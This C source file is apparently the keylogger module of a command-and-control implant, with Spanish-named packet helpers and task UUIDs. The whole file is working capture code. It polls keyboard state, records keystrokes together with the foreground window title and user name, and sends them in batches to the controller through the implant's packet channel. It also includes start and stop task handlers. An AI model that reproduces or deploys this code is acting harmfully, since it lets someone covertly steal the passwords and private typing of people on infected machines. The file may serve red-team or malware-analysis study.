#include "keylog.h"
#include "paquete.h"
#include "angerona.h"

static volatile BOOL g_keylog_running = FALSE;
static HANDLE g_keylog_thread = NULL;
static CHAR g_keylog_task_uuid[37] = {0};

static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) {
    (void)lpParam;
    // Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal
    CHAR buffer[2048];
    SIZE_T buf_len = 0;
    ULONGLONG last_send = GetTickCount64();

    while (g_keylog_running) {
        for (int vk = 0x08; vk <= 0xFE; ++vk) {
            SHORT state = GetAsyncKeyState(vk);
            if (state & 0x0001) { // pressed since last call
                char c = 0;
                if (vk == VK_BACK) c = '\b';
                else if (vk == VK_TAB) c = '\t';
                else if (vk == VK_RETURN) c = '\n';
                else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII

                if (c) {
                    if (buf_len < sizeof(buffer) - 1) {
                        buffer[buf_len++] = c;
                    }
                }
            }
        }

        ULONGLONG now = GetTickCount64();
        BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0);
        if (should_send) {
            buffer[buf_len] = '\0';

            // Fetch window title
            CHAR title[256] = {0};
            HWND hwnd = GetForegroundWindow();
            if (hwnd) {
                GetWindowTextA(hwnd, title, sizeof(title) - 1);
            }

            // Fetch user (best-effort)
            CHAR user[128] = {0};
            DWORD usize = (DWORD)sizeof(user);
            GetUserNameA(user, &usize);

            // Build POST_RESPONSE
            PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
            addString(respuesta, g_keylog_task_uuid, FALSE);
            // empty user_output
            addInt32(respuesta, 0);

            // Add keylog marker
            addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer);

            Analizador* resp = mandarPaquete(respuesta);
            liberarPaquete(respuesta);
            if (resp) liberarAnalizador(resp);

            buf_len = 0;
            last_send = now;
        }

        Sleep(20);
    }

    return 0;
}

BOOL StartKeylogger(PAnalizador argumentos) {
    _inf("[keylog] ===== StartKeylogger called =====");
    // Match input_type=None format: [nbArg:4][UUID(36)]
    UINT32 nbArg = getInt32(argumentos);
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    _inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
    if (!tareaUuid || tamanoUuid != 36) {
        _err("[keylog] UUID inválido (len=%zu)", tamanoUuid);
        return FALSE;
    }
    
    // Ensure UUID is null-terminated
    CHAR uuidBuffer[37] = {0};
    memcpy(uuidBuffer, tareaUuid, 36);
    uuidBuffer[36] = '\0';
    tareaUuid = uuidBuffer;
    
    _inf("[keylog] Task UUID: %s", tareaUuid);
    memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
    memcpy(g_keylog_task_uuid, tareaUuid, 36);

    if (g_keylog_running) {
        return TRUE;
    }
    g_keylog_running = TRUE;
    g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL);

    // Ack
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, g_keylog_task_uuid, FALSE);
    PPaquete salida = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n");
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    
    // Report API Call artifact for keylogger
    addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA");
    
    Analizador* resp = mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
    if (resp) liberarAnalizador(resp);
    return TRUE;
}

BOOL StopKeylogger(PAnalizador argumentos) {
    _inf("[keylog] ===== StopKeylogger called =====");
    // Match input_type=None format: [nbArg:4][UUID(36)]
    UINT32 nbArg = getInt32(argumentos);
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    _inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
    
    if (tareaUuid && tamanoUuid == 36) {
        // Ensure UUID is null-terminated
        CHAR uuidBuffer[37] = {0};
        memcpy(uuidBuffer, tareaUuid, 36);
        uuidBuffer[36] = '\0';
        tareaUuid = uuidBuffer;
        
        _inf("[keylog] Task UUID: %s", tareaUuid);
        memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
        memcpy(g_keylog_task_uuid, tareaUuid, 36);
    } else {
        _wrn("[keylog] UUID inválido o vacío, usando UUID guardado");
    }

    if (g_keylog_running) {
        g_keylog_running = FALSE;
        if (g_keylog_thread) {
            WaitForSingleObject(g_keylog_thread, 2000);
            CloseHandle(g_keylog_thread);
            g_keylog_thread = NULL;
        }
    }

    // Ack
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE);
    PPaquete salida = nuevoPaquete(0, FALSE);
    PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n");
    addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    Analizador* resp = mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(respuesta);
    if (resp) liberarAnalizador(resp);
    return TRUE;
}
